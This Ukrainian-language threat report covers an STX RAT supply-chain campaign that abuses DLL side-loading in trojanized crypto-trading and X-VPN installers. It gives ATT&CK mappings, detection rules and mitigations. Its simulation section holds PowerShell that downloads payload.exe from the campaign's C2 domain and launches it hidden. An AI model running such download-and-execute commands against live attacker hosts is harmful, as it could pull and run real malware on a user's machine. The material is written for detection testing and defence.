Від криптогаманців до VPN з 100 мільйонами користувачів: Внутрішня історія активної кампанії ланцюга поставок STX RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Дослідники виявили активну кампанію в ланцюгу постачання, в якій загрозливий актор зловживав DLL зі сторони завантаження, використовуючи шкідливу CRYPTBASE.dll щоб розгорнути троян віддаленого доступу STX RAT через троянських інсталяторів для програмного забезпечення торгівлі криптовалютою та клієнта X-VPN. Операція спиралася на єдиний репозиторій Bitbucket для поширення заражених пакетів і обертала домени командування і контролю під supp0v3.com коренем. Орієнтуючись на користувачів фінансових інструментів обміну та широко використовуваного VPN-сервісу, атакуючі позиціонували себе для крадіжки облікових даних та інших чутливих даних у великому масштабі. Зміст виявлення було оновлено, щоб охопити спільний метод завантаження з боку та загальну інфраструктуру.
Розслідування
Аналітики ідентифікували 11 шкідливих пакетів, які всі використовували одну і ту ж CRYPTBASE.dll ланцюг завантаження, щоб завантажити STX RAT безпосередньо в пам’ять. Троянські інсталятори були розміщені в репозиторії Bitbucket під назвою amos-trading, а метадані комітів пов’язали активність із псевдонімом Leda Elacoate. Після публічного викриття оператори обертали інфраструктуру з helloworld.supp0v3.com to на. Аналіз YARA підтвердив, що STX RAT був фінальним вантажем у кожному дослідженому зразку.
Пом’якшення
X-VPN вирішив проблему у версії Windows 77.5.3, яка забезпечує суворе завантаження DLL з системних каталогів, виконує перевірку хешів DLL під час запуску та застосовує політику завантаження для кожного процесу. Блокування supp0v3.com та її піддоменів на мережевому периметрі може порушити трафік командування і контролю. Організації також повинні посилити практику завантаження програмного забезпечення та обмежити інсталяції лише перевіреними джерелами постачальника.
Відповідь
Захисники повинні сигналізувати про будь-який процес, який завантажує CRYPTBASE.dll з не-системного шляху та досліджувати ознаки виконання STX RAT у пам’яті. Опубліковане правило YARA STX RAT слід розгорнути на платформах EDR, а вихідний HTTPS трафік до supp0v3.com слід ретельно моніторити. Всі кінцеві точки слід оновити до виправленої версії X-VPN або видалити вразливе ПЗ. Загроза полювання також повинна зосереджуватися на відбитому поведінці завантаження коду, пов’язаній з багатоступеневим розпаковуванням шкідливого ПЗ.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef file fill:#ccccff classDef operator fill:#ff9900 %% Node definitions tech_supply_chain["<b>Техніка</b> – <b>T1195.002 Компроміс ланцюга постачання: Компроміс програмного забезпечення постачання</b><br/><b>Опис</b>: нападник впровадив шкідливу CRYPTBASE.dll у легітимні інсталятори, розміщені у репозиторії Bitbucket."] class tech_supply_chain technique dll_cryptbase["<b>Файл</b> – <b>Ім’я</b>: CRYPTBASE.dll (шкідливий)"] class dll_cryptbase file file_installer["<b>Файл</b> – <b>Ім’я</b>: Троянський інсталятор (наприклад, Xu2011VPN, Binance, MEXC)"] class file_installer file tech_user_exec["<b>Техніка</b> – <b>T1204.002 Користувацьке виконання: Шкідливий файл</b><br/><b>Опис</b>: жертви завантажують та запускають троянського інсталятора."] class tech_user_exec technique tech_masquerade["<b>Техніка</b> – <b>T1036.008 Маскування: Маскування типу файлу</b><br/><b>Опис</b>: шкідливий пакет представлений як легітимний інсталятор VPN або криптоторгівлі."] class tech_masquerade technique tech_dll_hijack["<b>Техніка</b> – <b>T1574.001 Викрадення потоку виконання: DLL</b><br/><b>Опис</b>: інсталятор завантажує CRYPTBASE.dll, розміщений у каталозі програми, що змушує легітимний додаток завантажувати шкідливий DLL."] class tech_dll_hijack technique tech_path_intercept["<b>Техніка</b> – <b>T1574.008 Перехоплення шляху: Для завантаження у системному порядку</b><br/><b>Опис</b>: порядок пошуку DLL у Windows завантажує DLL атакуючого перед копією системи."] class tech_path_intercept technique tech_reflective["<b>Техніка</b> – <b>T1620 Відображене завантаження коду</b><br/><b>Опис</b>: шкідливий DLL розпаковує та впроваджує STX RAT у пам’ять, використовуючи відбиткове завантаження, не залишаючи артефактів на диску."] class tech_reflective technique tech_embedded["<b>Техніка</b> – <b>T1027.009 Вбудовані вантажі</b><br/><b>Опис</b>: DLL містить вбудований багатоступеневий ланцюг розпаковування та ядро STX RAT."] class tech_embedded technique malware_STX["<b>Шкідливий ПЗ</b> – <b>Ім’я</b>: STX RAT<br/><b>Функція</b>: троян віддаленого доступу для викрадення облікових даних та ексфільтрації даних."] class malware_STX malware tech_c2["<b>Техніка</b> – <b>T1071.001 Протоколи прикладного шару: Веб-протоколи</b><br/><b>Опис</b>: RAT спілкується з C2 через HTTPS до поддомени supp0v3.com."] class tech_c2 technique tech_cred_browser["<b>Техніка</b> – <b>T1555.003 Облікові дані з веб-браузерів</b><br/><b>Опис</b>: STX RAT збирає збережені облікові дані браузера, токени сесій і дані облікового запису системи."] class tech_cred_browser technique tech_exfil["<b>Техніка</b> – <b>T1041 Ексфільтрація через канал C2</b><br/><b>Опис</b>: зібрані облікові дані та системні дані вивантажуються через той самий канал HTTPS C2."] class tech_exfil technique %% Connections tech_supply_chain –>|inserts| dll_cryptbase dll_cryptbase –>|placed in| file_installer file_installer –>|downloaded and executed by victim| tech_user_exec tech_user_exec –>|leads to| tech_masquerade tech_masquerade –>|enables| tech_dll_hijack tech_dll_hijack –>|uses| tech_path_intercept tech_path_intercept –>|allows| tech_reflective tech_reflective –>|loads| malware_STX malware_STX –>|uses| tech_embedded malware_STX –>|communicates via| tech_c2 malware_STX –>|harvests| tech_cred_browser tech_cred_browser –>|data exfiltrated via| tech_exfil "
Потік атаки
Детектування
Можлива інфільтрація / ексфільтрація даних / C2 через сторонні послуги / інструменти (через проксі)
Перегляд
IOCs (HashSha256) для виявлення: Від криптогаманців до VPN на 100 мільйонів користувачів: виявлення активної кампанії STX RAT у ланцюзі постачання
Перегляд
Виявлення інфраструктури C2 для Supp0v3.com у кампанії STX RAT [Мережеве підключення Windows]
Перегляд
Виявлення завантаження CRYPTBASE.dll для розгортання STX RAT [Створення процесу Windows]
Перегляд
Виконання симуляції
Передумова: Перевірка телеметрії та базових параметрів повинна пройти.
Мотивація: Цей розділ детально описує точне виконання техніки атакуючого (TTP), покликаної спровокувати правило виявлення. Команди та описи МАЮТЬ безпосередньо відбивати ідентифіковані TTPs і бути націленими на генерування точної телеметрії, очікуваної логікою виявлення.
-
Історія атаки та команди:
Атакуючий, який компрометував обліковий запис користувача з низьким рівнем привілеїв, використовує однострокову команду PowerShell для завантаження шкідливого вантажу з сервера C2
helloworld.supp0v3.com. Це використовує T1071.001 (Веб-протокол C2) та T1204.002 (Виконання користувачем), в той час як вантаж сам зашифрований (T1027, T1027.009) та маскується як легітимний виконуваний файл (T1036.005/008). Відмінене з’єднання з шкідливим доменом повинно бути захоплено журналом брандмауера і, відповідно, викликати правило Sigma.# Завантажити шкідливий вантаж з домену Supp0v3 C2 $url = "http://helloworld.supp0v3.com/payload.exe" $out = "$env:TEMPpayload.exe" Invoke-WebRequest -Uri $url -UseBasicParsing -OutFile $out # Виконати вантаж (симульовано – фактично просто створює фіктивний файл) Start-Process -FilePath $out -WindowStyle Hidden -
Скрипт регресійного тестування:
# TC-20260609-A1B2C – Симуляція підключення STX RAT C2 до helloworld.supp0v3.com try { # Крок 1: Підготувати фіктивний вантаж (уникати виконання реального шкідливого ПЗ) $payloadPath = "$env:TEMPpayload.exe" Set-Content -Path $payloadPath -Value "This is a dummy executable for testing." -Encoding ASCII # Крок 2: Симулювати вихідний HTTP-запит до шкідливого домену $c2Url = "http://helloworld.supp0v3.com/payload.exe" Invoke-WebRequest -Uri $c2Url -UseBasicParsing -OutFile $payloadPath # Крок 3: "Виконати" вантаж (без реального виконання з метою безпеки) Write-Host "Симульоване виконання вантажу у $payloadPath" Write-Host "Симуляція завершена – перевірте SIEM на наявність сигналу." } catch { Write-Error "Симуляція не вдалася: $_" } -
Команди очищення:
# Видалити фіктивний вантаж та всі залишкові файли $payloadPath = "$env:TEMPpayload.exe" if (Test-Path $payloadPath) { Remove-Item -Path $payloadPath -Force Write-Host "Очищено файл вантажу." } else { Write-Host "Файл вантажу не знайдено – нічого очищати." }